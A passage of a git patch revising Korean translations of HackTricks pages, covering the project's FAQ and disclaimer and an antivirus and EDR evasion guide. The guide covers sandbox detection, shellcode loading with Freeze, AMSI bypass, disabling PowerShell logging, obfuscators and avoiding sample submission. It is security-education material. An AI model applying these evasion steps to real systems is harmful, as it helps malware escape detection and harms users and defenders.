From 1ad963b7aeed7ea4f5f28b3ce856c6009137b795 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 13 Aug 2025 14:21:25 +0000 Subject: [PATCH] Translated ['src/welcome/hacktricks-values-and-faq.md', 'src/windows-har --- src/welcome/hacktricks-values-and-faq.md | 40 +++--- src/windows-hardening/av-bypass.md | 122 ++++++++++++------ .../dpapi-extracting-passwords.md | 69 +++++++--- 3 files changed, 154 insertions(+), 77 deletions(-) diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index f7848e81e..b245fb82e 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -10,11 +10,11 @@ > - **모든** 인터넷 사용자에게 **무료**로 **교육적 해킹** 리소스에 접근할 수 있도록 합니다. > - 해킹은 배우는 것이며, 배우는 것은 가능한 한 무료여야 합니다. > - 이 책의 목적은 포괄적인 **교육 리소스**로서의 역할을 하는 것입니다. -> - **커뮤니티**가 게시한 멋진 **해킹** 기술을 **저장**하고 **원래 저자**에게 모든 **크레딧**을 부여합니다. +> - **커뮤니티가 게시한** 멋진 **해킹** 기술을 **저장**하고 **원래의 저자**에게 모든 **크레딧**을 부여합니다. > - **우리는 다른 사람에게서 크레딧을 원하지 않습니다**, 우리는 단지 모두를 위해 멋진 트릭을 저장하고 싶습니다. > - 우리는 또한 HackTricks에서 **우리의 연구**를 작성합니다. > - 여러 경우에 우리는 기술의 중요한 부분에 대한 **요약을 HackTricks에 작성하고** 더 많은 세부정보를 위해 **원래 게시물을 방문하도록 독자를 권장할 것입니다**. -> - **책의 모든 해킹 기술을 정리**하여 **더 접근 가능하게** 만듭니다. +> - **책의 모든 해킹 기술을 정리하여 더 **접근 가능하게** 합니다. > - HackTricks 팀은 사람들이 **더 빠르게 배울 수 있도록** 콘텐츠를 **조직하는 데** 수천 시간을 무료로 헌신했습니다.
@@ -25,7 +25,7 @@ > > - **이 리소스에 대해 정말 감사합니다. 어떻게 감사할 수 있을까요?** -HackTricks 팀이 이러한 리소스를 공개적으로 모아준 것에 대해 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급하여 트윗으로 공개적으로 감사할 수 있습니다.\ +HackTricks 팀이 이러한 모든 리소스를 공개적으로 모아준 것에 대해 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급하여 트윗으로 공개적으로 감사할 수 있습니다.\ 특별히 감사한 마음이 있다면 [**여기에서 프로젝트를 후원할 수 있습니다**](https://github.com/sponsors/carlospolop).\ 그리고 **Github 프로젝트에 별을 주는 것을 잊지 마세요!** (아래 링크를 확인하세요). @@ -33,7 +33,7 @@ HackTricks 팀이 이러한 리소스를 공개적으로 모아준 것에 대해 > > - **프로젝트에 어떻게 기여할 수 있나요?** -**커뮤니티와 새로운 팁과 트릭을 공유하거나 책에서 발견한 버그를 수정**하여 해당 Github 페이지에 **Pull Request**를 보낼 수 있습니다: +커뮤니티와 **새로운 팁과 트릭을 공유하거나** 책에서 발견한 버그를 수정하여 **Pull Request**를 해당 Github 페이지에 보낼 수 있습니다: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) @@ -64,39 +64,39 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, > > - **내 블로그에 모든 HackTricks를 복사해도 되나요?** -**그렇지 않기를 바랍니다**. 이는 **아무에게도 도움이 되지 않습니다**. 모든 **내용은 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다**. +**그렇지 않기를 바랍니다**. 이는 **누구에게도 도움이 되지 않을 것입니다**. 모든 **내용은 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다**. -사라질까 두려우신가요? 그냥 Github에서 포크하거나 다운로드하세요. 이미 무료입니다. +사라질까 걱정된다면, Github에서 포크하거나 다운로드하세요. 이미 무료입니다. > [!WARNING] > > - **왜 후원자가 있나요? HackTricks 책은 상업적 목적으로 만들어졌나요?** -첫 번째 **HackTricks** **가치는** **모든** 사람에게 **무료** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 **수천 시간을 헌신**하여 이 콘텐츠를 제공했습니다. 다시 말해, **무료**입니다. +첫 번째 **HackTricks** **가치는** **모든** 사람에게 **무료** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간을 헌신**했습니다. 다시 말해, **무료**입니다. -HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각하신다면 **완전히 잘못된 생각입니다**. +HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각한다면, **완전히 잘못된** 것입니다. -우리는 후원자가 있습니다. 모든 콘텐츠가 무료이지만, 사람들이 원할 경우 **우리의 작업을 평가할 수 있는 가능성을 제공하고 싶습니다**. 따라서, 우리는 사람들이 [**Github 후원자**](https://github.com/sponsors/carlospolop)를 통해 HackTricks에 기부할 수 있는 옵션과 **관련 사이버 보안 회사들**이 HackTricks를 후원하고 **책에 광고를 게재할 수 있는 옵션**을 제공합니다. 이 **광고**는 항상 **가시적**이지만 **학습** 과정에 방해가 되지 않는 곳에 배치됩니다. +우리는 후원자가 있습니다. 모든 콘텐츠가 무료이지만, 사람들이 원할 경우 **우리의 작업을 평가할 수 있는 가능성을 제공하고 싶기 때문**입니다. 따라서, 우리는 사람들이 [**Github 후원자**](https://github.com/sponsors/carlospolop)를 통해 HackTricks에 기부할 수 있는 옵션과 **관련 사이버 보안 회사들**이 HackTricks를 후원하고 **책에 광고를 게재할 수 있는 옵션**을 제공합니다. 이 **광고**는 항상 **가시적**이지만 **학습** 과정에 방해가 되지 않는 곳에 배치됩니다. -HackTricks는 HackTricks보다 훨씬 적은 콘텐츠를 가진 다른 블로그처럼 성가신 광고로 가득 차지 않습니다. HackTricks는 상업적 목적을 위해 만들어지지 않았습니다. +HackTricks는 HackTricks보다 훨씬 적은 콘텐츠를 가진 다른 블로그처럼 성가신 광고로 가득 차지 않을 것입니다. HackTricks는 상업적 목적을 위해 만들어지지 않았습니다. > [!CAUTION] > > - **내 블로그 게시물을 기반으로 한 HackTricks 페이지가 있지만 참조되지 않았다면 어떻게 해야 하나요?** -**죄송합니다. 이런 일이 발생해서는 안 됩니다**. HackTricks 페이지의 링크와 귀하의 블로그 링크를 Github 이슈, Twitter, Discord 등을 통해 알려주시면 **확인하고 ASAP 추가하겠습니다**. +**죄송합니다. 이런 일이 발생해서는 안 되었습니다**. HackTricks 페이지의 링크와 귀하의 블로그 링크를 Github 이슈, Twitter, Discord 등을 통해 알려주시면 **확인하고 ASAP 추가하겠습니다**. > [!CAUTION] > > - **내 블로그의 콘텐츠가 HackTricks에 있는데 거기 있기를 원하지 않으면 어떻게 해야 하나요?** -HackTricks에 귀하의 페이지 링크가 있는 것은: +HackTricks에 귀하의 페이지 링크가 있는 것은 다음과 같은 이점이 있습니다: - 귀하의 **SEO**를 개선합니다. - 콘텐츠가 **15개 이상의 언어로 번역**되어 더 많은 사람들이 이 콘텐츠에 접근할 수 있게 됩니다. -- **HackTricks는** 사람들이 **귀하의 페이지를 확인하도록 장려합니다** (여러 사람들이 HackTricks에 자신의 페이지가 포함된 이후로 더 많은 방문을 받았다고 언급했습니다). +- **HackTricks는** 사람들이 **귀하의 페이지를 확인하도록 장려**합니다 (여러 사람들이 HackTricks에 자신의 페이지가 포함된 이후로 더 많은 방문을 받았다고 언급했습니다). -그러나 여전히 귀하의 블로그 콘텐츠가 HackTricks에서 제거되기를 원하신다면 알려주시면 **귀하의 블로그에 대한 모든 링크**와 그에 기반한 모든 콘텐츠를 **제거하겠습니다**. +그러나 여전히 귀하의 블로그 콘텐츠가 HackTricks에서 제거되기를 원하신다면, 알려주시면 **귀하의 블로그에 대한 모든 링크**와 그에 기반한 콘텐츠를 **확실히 제거하겠습니다**. > [!CAUTION] > @@ -106,7 +106,7 @@ HackTricks에 귀하의 페이지 링크가 있는 것은: ## LICENSE -Copyright © 모든 권리 보유. 별도로 명시되지 않는 한. +Copyright © 모든 권리 보유, 별도로 명시되지 않는 한. #### 라이센스 요약: @@ -116,7 +116,7 @@ Copyright © 모든 권리 보유. 별도로 명시되지 않는 한. #### 추가 조건: -- 제3자 콘텐츠: 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌와 같은 다른 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용 원칙에 따라 이루어지거나 해당 저작권 소유자의 명시적 허가를 받습니다. 제3자 콘텐츠에 대한 특정 라이센스 정보는 원본 출처를 참조하십시오. +- 제3자 콘텐츠: 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌와 같은 다른 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용의 원칙에 따라 이루어지거나 해당 저작권 소유자의 명시적인 허가를 받습니다. 제3자 콘텐츠에 대한 특정 라이센스 정보는 원본 출처를 참조하십시오. - 저작권: HackTricks가 저작한 원본 콘텐츠는 이 라이센스의 조건에 따릅니다. 공유하거나 수정할 때 이 작업을 저자에게 귀속시키는 것이 권장됩니다. #### 면제: @@ -130,13 +130,13 @@ Copyright © 모든 권리 보유. 별도로 명시되지 않는 한. ## **면책 조항** > [!CAUTION] -> 이 책 'HackTricks'는 교육 및 정보 제공 목적으로만 작성되었습니다. 이 책의 내용은 '있는 그대로' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이거나 암시적인 어떠한 진술이나 보증도 하지 않습니다. 그러므로 귀하가 이러한 정보에 의존하는 것은 전적으로 귀하의 위험입니다. +> 이 책 'HackTricks'는 교육 및 정보 제공 목적으로만 사용됩니다. 이 책의 내용은 '있는 그대로' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이거나 암시적인 어떠한 진술이나 보증도 하지 않습니다. 그러므로 귀하가 이러한 정보에 의존하는 것은 전적으로 귀하의 위험입니다. > -> 저자와 출판사는 이 책의 사용으로 인해 발생하는 데이터 손실이나 이익 손실을 포함하여, 간접적이거나 결과적인 손실 또는 손해에 대해 어떠한 경우에도 책임을 지지 않습니다. +> 저자와 출판사는 데이터 손실이나 이익 손실로 인해 발생하는 모든 손실이나 손해에 대해 어떠한 경우에도 책임을 지지 않습니다. > -> 또한, 이 책에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법적이거나 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 불법적이거나 비윤리적인 활동을 용납하거나 지지하지 않으며, 이 책에 포함된 정보를 사용하는 것은 사용자 자신의 위험과 재량에 따라 이루어집니다. +> 또한, 이 책에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법 또는 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 불법 또는 비윤리적인 활동을 용납하거나 지지하지 않으며, 이 책에 포함된 정보를 사용하는 것은 사용자 자신의 위험과 재량에 따라 이루어집니다. > -> 사용자는 이 책에 포함된 정보를 기반으로 취한 모든 행동에 대해 전적으로 책임이 있으며, 여기서 설명된 기술이나 팁을 구현하려고 할 때 항상 전문가의 조언과 도움을 구해야 합니다. +> 사용자는 이 책에 포함된 정보를 기반으로 취한 모든 행동에 대해 전적으로 책임이 있으며, 이 책에 설명된 기술이나 팁을 구현하려고 할 때 항상 전문가의 조언과 도움을 구해야 합니다. > > 이 책을 사용함으로써 사용자는 이 책이나 그 안에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 피해에 대해 저자와 출판사를 면책하는 데 동의합니다. diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index b378f551c..f0ea0e8f8 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -16,7 +16,7 @@ ### **정적 탐지** -정적 탐지는 이진 파일이나 스크립트에서 알려진 악성 문자열이나 바이트 배열을 플래그 지정하고, 파일 자체에서 정보를 추출하여 달성됩니다(예: 파일 설명, 회사 이름, 디지털 서명, 아이콘, 체크섬 등). 이는 알려진 공개 도구를 사용하면 더 쉽게 적발될 수 있음을 의미합니다. 왜냐하면 이러한 도구는 아마도 분석되어 악성으로 플래그가 지정되었기 때문입니다. 이러한 종류의 탐지를 우회하는 몇 가지 방법이 있습니다: +정적 탐지는 이진 파일이나 스크립트에서 알려진 악성 문자열이나 바이트 배열을 플래그 지정하고, 파일 자체에서 정보를 추출하여 달성됩니다(예: 파일 설명, 회사 이름, 디지털 서명, 아이콘, 체크섬 등). 이는 알려진 공개 도구를 사용하면 더 쉽게 적발될 수 있음을 의미합니다. 왜냐하면 이러한 도구는 아마도 분석되어 악성으로 플래그가 지정되었기 때문입니다. 이러한 종류의 탐지를 우회하는 방법은 몇 가지가 있습니다: - **암호화** @@ -24,14 +24,14 @@ - **난독화** -때때로 이진 파일이나 스크립트의 일부 문자열을 변경하는 것만으로 AV를 통과할 수 있지만, 이는 난독화하려는 내용에 따라 시간이 많이 소요될 수 있습니다. +때때로 이진 파일이나 스크립트의 일부 문자열을 변경하는 것만으로 AV를 우회할 수 있지만, 이는 난독화하려는 내용에 따라 시간이 많이 소요될 수 있습니다. - **커스텀 도구** -자신만의 도구를 개발하면 알려진 나쁜 서명이 없지만, 이는 많은 시간과 노력이 필요합니다. +자신만의 도구를 개발하면 알려진 악성 서명이 없지만, 이는 많은 시간과 노력이 필요합니다. > [!TIP] -> Windows Defender의 정적 탐지에 대한 좋은 확인 방법은 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)입니다. 이 도구는 파일을 여러 세그먼트로 나누고 Defender에게 각 세그먼트를 개별적으로 스캔하도록 요청합니다. 이렇게 하면 이진 파일에서 플래그가 지정된 문자열이나 바이트를 정확히 알 수 있습니다. +> Windows Defender의 정적 탐지에 대한 좋은 확인 방법은 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)입니다. 이 도구는 파일을 여러 세그먼트로 나눈 다음 Defender에게 각 세그먼트를 개별적으로 스캔하도록 요청합니다. 이렇게 하면 이진 파일에서 플래그가 지정된 문자열이나 바이트를 정확히 알 수 있습니다. 실용적인 AV 회피에 대한 이 [YouTube 재생목록](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)을 확인하는 것을 강력히 추천합니다. @@ -40,25 +40,25 @@ 동적 분석은 AV가 이진 파일을 샌드박스에서 실행하고 악성 활동을 감시하는 것입니다(예: 브라우저의 비밀번호를 복호화하고 읽으려 하거나, LSASS에서 미니 덤프를 수행하는 등). 이 부분은 다루기가 조금 더 까다로울 수 있지만, 샌드박스를 우회하기 위해 할 수 있는 몇 가지 방법이 있습니다. - **실행 전 대기** 구현 방식에 따라 AV의 동적 분석을 우회하는 좋은 방법이 될 수 있습니다. AV는 사용자의 작업 흐름을 방해하지 않기 위해 파일을 스캔할 시간이 매우 짧기 때문에 긴 대기를 사용하면 이진 파일 분석을 방해할 수 있습니다. 문제는 많은 AV의 샌드박스가 구현 방식에 따라 대기를 건너뛸 수 있다는 것입니다. -- **기계의 자원 확인** 일반적으로 샌드박스는 작업할 수 있는 자원이 매우 적습니다(예: < 2GB RAM), 그렇지 않으면 사용자의 기계를 느리게 만들 수 있습니다. 여기서 매우 창의적으로 접근할 수 있습니다. 예를 들어 CPU의 온도나 팬 속도를 확인하는 것과 같이 샌드박스에 구현되지 않은 것들이 많습니다. -- **기계 특정 검사** "contoso.local" 도메인에 가입된 사용자를 타겟으로 하려면 컴퓨터의 도메인을 확인하여 지정한 도메인과 일치하는지 확인할 수 있습니다. 일치하지 않으면 프로그램을 종료할 수 있습니다. +- **기계의 자원 확인** 일반적으로 샌드박스는 작업할 자원이 매우 적습니다(예: < 2GB RAM), 그렇지 않으면 사용자의 기계를 느리게 만들 수 있습니다. 여기서 매우 창의적으로 접근할 수 있습니다. 예를 들어 CPU의 온도나 팬 속도를 확인하는 것과 같이 샌드박스에 구현되지 않은 것들이 많습니다. +- **기계 특정 검사** "contoso.local" 도메인에 가입된 사용자를 타겟으로 하려면 컴퓨터의 도메인을 확인하여 지정한 도메인과 일치하는지 확인할 수 있습니다. 일치하지 않으면 프로그램을 종료하도록 할 수 있습니다. Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH이므로, 폭발 전에 악성 코드에서 컴퓨터 이름을 확인할 수 있습니다. 이름이 HAL9TH와 일치하면 Defender의 샌드박스 안에 있다는 의미이므로 프로그램을 종료할 수 있습니다.

출처: https://youtu.be/StSLxFbVz0M?t=1439

-샌드박스에 대항하기 위한 [@mgeeky](https://twitter.com/mariuszbit)의 다른 좋은 팁들 +샌드박스에 대항하기 위한 [@mgeeky](https://twitter.com/mariuszbit)의 몇 가지 좋은 팁

Red Team VX Discord #malware-dev 채널

-이 게시물에서 이전에 언급했듯이, **공식 도구**는 결국 **탐지됩니다**, 따라서 스스로에게 질문해야 합니다: +앞서 이 게시물에서 언급했듯이, **공식 도구**는 결국 **탐지됩니다**, 따라서 스스로에게 질문해야 합니다: -예를 들어, LSASS를 덤프하려면 **정말로 mimikatz를 사용해야 하나요**? 아니면 LSASS를 덤프하는 덜 알려진 다른 프로젝트를 사용할 수 있을까요? +예를 들어, LSASS를 덤프하려면 **정말로 mimikatz를 사용해야 하나요**? 아니면 덜 알려진 다른 프로젝트를 사용하여 LSASS를 덤프할 수 있을까요? 정답은 아마 후자일 것입니다. mimikatz를 예로 들면, 아마도 AV와 EDR에 의해 가장 많이 플래그가 지정된 악성 코드 중 하나일 것입니다. 프로젝트 자체는 매우 멋지지만, AV를 우회하기 위해 작업하는 것은 악몽이 될 수 있으므로, 달성하려는 목표에 대한 대안을 찾아보세요. > [!TIP] -> 회피를 위해 페이로드를 수정할 때는 Defender에서 **자동 샘플 제출을 끄는 것**을 잊지 마세요. 그리고 제발, **VIRUSTOTAL에 업로드하지 마세요**. 장기적으로 회피를 달성하는 것이 목표라면 말이죠. 특정 AV에서 페이로드가 탐지되는지 확인하고 싶다면 VM에 설치하고 자동 샘플 제출을 끄고 결과에 만족할 때까지 테스트하세요. +> 회피를 위해 페이로드를 수정할 때는 Defender에서 **자동 샘플 제출을 끄는 것**을 잊지 마세요. 그리고 제발, **VIRUSTOTAL에 업로드하지 마세요**. 장기적으로 회피를 달성하는 것이 목표라면 말입니다. 특정 AV에서 페이로드가 탐지되는지 확인하고 싶다면 VM에 설치하고 자동 샘플 제출을 끄고 결과에 만족할 때까지 테스트하세요. ## EXE와 DLL @@ -111,13 +111,13 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
> [!TIP] -> 나는 **강력히 추천**합니다. [S3cur3Th1sSh1t의 트위치 VOD](https://www.twitch.tv/videos/1644171543)와 [ippsec의 비디오](https://www.youtube.com/watch?v=3eROsG_WNpE)를 시청하여 우리가 논의한 내용을 더 깊이 배우는 것이 좋습니다. +> 나는 **강력히 추천**합니다. [S3cur3Th1sSh1t의 트위치 VOD](https://www.twitch.tv/videos/1644171543)와 [ippsec의 비디오](https://www.youtube.com/watch?v=3eROsG_WNpE)를 시청하여 우리가 논의한 내용을 더 깊이 배우세요. ## [**Freeze**](https://github.com/optiv/Freeze) `Freeze는 중단된 프로세스, 직접 시스템 호출 및 대체 실행 방법을 사용하여 EDR을 우회하기 위한 페이로드 툴킷입니다.` -Freeze를 사용하여 은밀한 방식으로 쉘코드를 로드하고 실행할 수 있습니다. +Freeze를 사용하여 쉘코드를 은밀하게 로드하고 실행할 수 있습니다. ``` Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go) 1. Generate some shellcode, in this case I used Havoc C2. @@ -131,7 +131,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez ## AMSI (안티 맬웨어 스캔 인터페이스) -AMSI는 "[파일리스 맬웨어](https://en.wikipedia.org/wiki/Fileless_malware)"를 방지하기 위해 만들어졌습니다. 처음에 AV는 **디스크의 파일**만 스캔할 수 있었기 때문에, 만약 어떤 방법으로든 **메모리에서 직접 페이로드를 실행**할 수 있다면, AV는 이를 방지할 수 있는 충분한 가시성이 없었습니다. +AMSI는 "[파일리스 맬웨어](https://en.wikipedia.org/wiki/Fileless_malware)"를 방지하기 위해 만들어졌습니다. 처음에 AV는 **디스크의 파일**만 스캔할 수 있었기 때문에, 만약 어떤 방법으로든 페이로드를 **메모리에서 직접 실행**할 수 있다면, AV는 이를 방지할 수 없었습니다. 왜냐하면 충분한 가시성이 없었기 때문입니다. AMSI 기능은 Windows의 다음 구성 요소에 통합되어 있습니다. @@ -151,7 +151,7 @@ AMSI 기능은 Windows의 다음 구성 요소에 통합되어 있습니다. 우리는 디스크에 파일을 생성하지 않았지만, 여전히 AMSI 때문에 메모리에서 잡혔습니다. -게다가, **.NET 4.8**부터 C# 코드도 AMSI를 통해 실행됩니다. 이는 `Assembly.Load(byte[])`를 사용하여 메모리 실행을 로드하는 데에도 영향을 미칩니다. 따라서 AMSI를 회피하고 싶다면 낮은 버전의 .NET(예: 4.7.2 이하)을 사용하는 것이 권장됩니다. +게다가, **.NET 4.8**부터 C# 코드도 AMSI를 통해 실행됩니다. 이는 `Assembly.Load(byte[])`를 사용하여 메모리 실행에 영향을 미칩니다. 따라서 AMSI를 회피하고 싶다면 낮은 버전의 .NET(예: 4.7.2 이하)을 사용하는 것이 권장됩니다. AMSI를 우회하는 방법은 몇 가지가 있습니다: @@ -159,7 +159,7 @@ AMSI를 우회하는 방법은 몇 가지가 있습니다: AMSI는 주로 정적 감지와 함께 작동하므로, 로드하려는 스크립트를 수정하는 것이 감지를 회피하는 좋은 방법이 될 수 있습니다. -그러나 AMSI는 여러 레이어가 있더라도 스크립트를 난독화 해제할 수 있는 기능이 있으므로, 난독화가 어떻게 이루어지는지에 따라 나쁜 선택이 될 수 있습니다. 이는 회피를 간단하지 않게 만듭니다. 하지만 때때로, 변수 이름 몇 개만 변경하면 괜찮아질 수 있으므로, 얼마나 많은 것이 플래그가 되었는지에 따라 다릅니다. +그러나 AMSI는 여러 레이어가 있더라도 스크립트를 난독화 해제할 수 있는 기능이 있으므로, 난독화가 어떻게 이루어졌는지에 따라 나쁜 선택이 될 수 있습니다. 이는 회피를 간단하지 않게 만듭니다. 하지만 때때로, 변수 이름 몇 개만 변경하면 괜찮아지므로, 얼마나 많은 것이 플래그가 되었는지에 따라 다릅니다. - **AMSI 우회** @@ -202,7 +202,7 @@ PowerShell을 사용하여 AMSI를 우회하는 데 사용되는 다른 많은 **Remove the detected signature** -현재 프로세스의 메모리에서 감지된 AMSI 서명을 제거하려면 **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** 및 **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**와 같은 도구를 사용할 수 있습니다. 이 도구는 현재 프로세스의 메모리에서 AMSI 서명을 스캔한 다음 NOP 명령어로 덮어써서 메모리에서 효과적으로 제거합니다. +현재 프로세스의 메모리에서 감지된 AMSI 서명을 제거하기 위해 **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** 및 **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**와 같은 도구를 사용할 수 있습니다. 이 도구는 현재 프로세스의 메모리에서 AMSI 서명을 스캔한 다음 NOP 명령어로 덮어써서 메모리에서 효과적으로 제거합니다. **AV/EDR products that uses AMSI** @@ -221,20 +221,20 @@ PowerShell 로깅을 우회하려면 다음 기술을 사용할 수 있습니다 - **PowerShell 전사 및 모듈 로깅 비활성화**: 이를 위해 [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs)와 같은 도구를 사용할 수 있습니다. - **PowerShell 버전 2 사용**: PowerShell 버전 2를 사용하면 AMSI가 로드되지 않으므로 AMSI에 의해 스캔되지 않고 스크립트를 실행할 수 있습니다. 이렇게 할 수 있습니다: `powershell.exe -version 2` -- **비관리 Powershell 세션 사용**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell)를 사용하여 방어가 없는 powershell을 생성합니다 (이것은 Cobalt Strike의 `powerpick`가 사용하는 방법입니다). +- **비관리 Powershell 세션 사용**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell)를 사용하여 방어 없이 powershell을 생성합니다 (이것은 Cobalt Strike의 `powerpick`가 사용하는 것입니다). ## Obfuscation > [!TIP] > 여러 가지 난독화 기술은 데이터를 암호화하는 데 의존하며, 이는 이진 파일의 엔트로피를 증가시켜 AV 및 EDR이 이를 감지하기 쉽게 만듭니다. 이에 주의하고, 민감하거나 숨겨야 할 코드의 특정 섹션에만 암호화를 적용하는 것이 좋습니다. -다음과 같은 도구를 사용하여 **C# 클리어 텍스트 코드를 난독화**하거나, 이진 파일을 컴파일하기 위한 **메타프로그래밍 템플릿**을 생성하거나, **컴파일된 이진 파일을 난독화**할 수 있습니다: +다음과 같은 **C# 클리어 텍스트 코드 난독화**, **이진 파일 컴파일을 위한 메타프로그래밍 템플릿 생성** 또는 **컴파일된 이진 파일 난독화**에 사용할 수 있는 여러 도구가 있습니다: - [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): .NET 애플리케이션을 위한 훌륭한 오픈 소스 난독화 도구입니다. 제어 흐름 난독화, 안티 디버깅, 안티 변조 및 문자열 암호화와 같은 다양한 보호 기술을 제공합니다. 특정 코드 조각을 난독화할 수 있어 추천됩니다. - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 난독화 도구** - [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 이 프로젝트의 목표는 [LLVM](http://www.llvm.org/) 컴파일 스위트의 오픈 소스 포크를 제공하여 [코드 난독화]() 및 변조 방지를 통해 소프트웨어 보안을 강화하는 것입니다. -- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator는 `C++11/14` 언어를 사용하여 외부 도구를 사용하지 않고 컴파일 시간에 난독화된 코드를 생성하는 방법을 보여줍니다. -- [**obfy**](https://github.com/fritzone/obfy): C++ 템플릿 메타프로그래밍 프레임워크에 의해 생성된 난독화된 작업의 레이어를 추가하여 애플리케이션을 크랙하려는 사람의 삶을 조금 더 어렵게 만듭니다. +- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator는 `C++11/14` 언어를 사용하여 외부 도구 없이 컴파일 시간에 난독화된 코드를 생성하는 방법을 보여줍니다. +- [**obfy**](https://github.com/fritzone/obfy): C++ 템플릿 메타프로그래밍 프레임워크에 의해 생성된 난독화된 작업의 레이어를 추가하여 애플리케이션을 크랙하려는 사람의 작업을 조금 더 어렵게 만듭니다. - [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz는 .exe, .dll, .sys를 포함한 다양한 pe 파일을 난독화할 수 있는 x64 이진 난독화 도구입니다. - [**metame**](https://github.com/a0rtega/metame): Metame는 임의의 실행 파일을 위한 간단한 변형 코드 엔진입니다. - [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator는 ROP(리턴 지향 프로그래밍)를 사용하는 LLVM 지원 언어를 위한 세밀한 코드 난독화 프레임워크입니다. ROPfuscator는 일반 명령어를 ROP 체인으로 변환하여 프로그램을 어셈블리 코드 수준에서 난독화하여 정상적인 제어 흐름에 대한 우리의 자연스러운 개념을 저해합니다. @@ -249,7 +249,7 @@ Microsoft Defender SmartScreen은 잠재적으로 악성 애플리케이션 실
-SmartScreen은 주로 평판 기반 접근 방식을 사용하여, 일반적으로 다운로드되지 않는 애플리케이션이 SmartScreen을 트리거하여 최종 사용자가 파일을 실행하지 못하도록 경고하고 방지합니다 (파일은 여전히 More Info -> Run anyway를 클릭하여 실행할 수 있습니다). +SmartScreen은 주로 평판 기반 접근 방식으로 작동하며, 일반적으로 다운로드되지 않는 애플리케이션은 SmartScreen을 트리거하여 최종 사용자가 파일을 실행하지 못하도록 경고하고 방지합니다 (파일은 여전히 More Info -> Run anyway를 클릭하여 실행할 수 있습니다). **MoTW** (Mark of The Web)는 [NTFS 대체 데이터 스트림]()으로, 인터넷에서 파일을 다운로드할 때 자동으로 생성되며, 다운로드한 URL과 함께 Zone.Identifier라는 이름을 가집니다. @@ -305,17 +305,17 @@ C# 바이너리를 메모리에 로드하는 것은 꽤 오랫동안 알려져 페이로드가 디스크를 건드리지 않고 메모리에 직접 로드되기 때문에, 전체 프로세스에 대해 AMSI를 패치하는 것만 걱정하면 됩니다. -대부분의 C2 프레임워크(슬리버, 코버넌트, 메타스플로잇, 코발트스트라이크, 하복 등)는 이미 메모리에서 C# 어셈블리를 직접 실행할 수 있는 기능을 제공하지만, 이를 수행하는 방법에는 여러 가지가 있습니다: +대부분의 C2 프레임워크(슬리버, 코버넌트, 메타스플로잇, 코발트스트라이크, 하복 등)는 이미 메모리에서 C# 어셈블리를 직접 실행할 수 있는 기능을 제공하지만, 이를 수행하는 방법은 여러 가지가 있습니다: - **Fork\&Run** -이는 **새로운 희생 프로세스를 생성**하고, 그 새로운 프로세스에 포스트 익스플로잇 악성 코드를 주입한 후, 악성 코드를 실행하고 완료되면 새로운 프로세스를 종료하는 방식입니다. 이 방법은 장점과 단점이 모두 있습니다. Fork and run 방법의 장점은 실행이 **우리의 비콘 임플란트 프로세스 외부**에서 발생한다는 것입니다. 이는 포스트 익스플로잇 작업에서 문제가 발생하거나 잡히더라도 **임플란트가 생존할 가능성이 훨씬 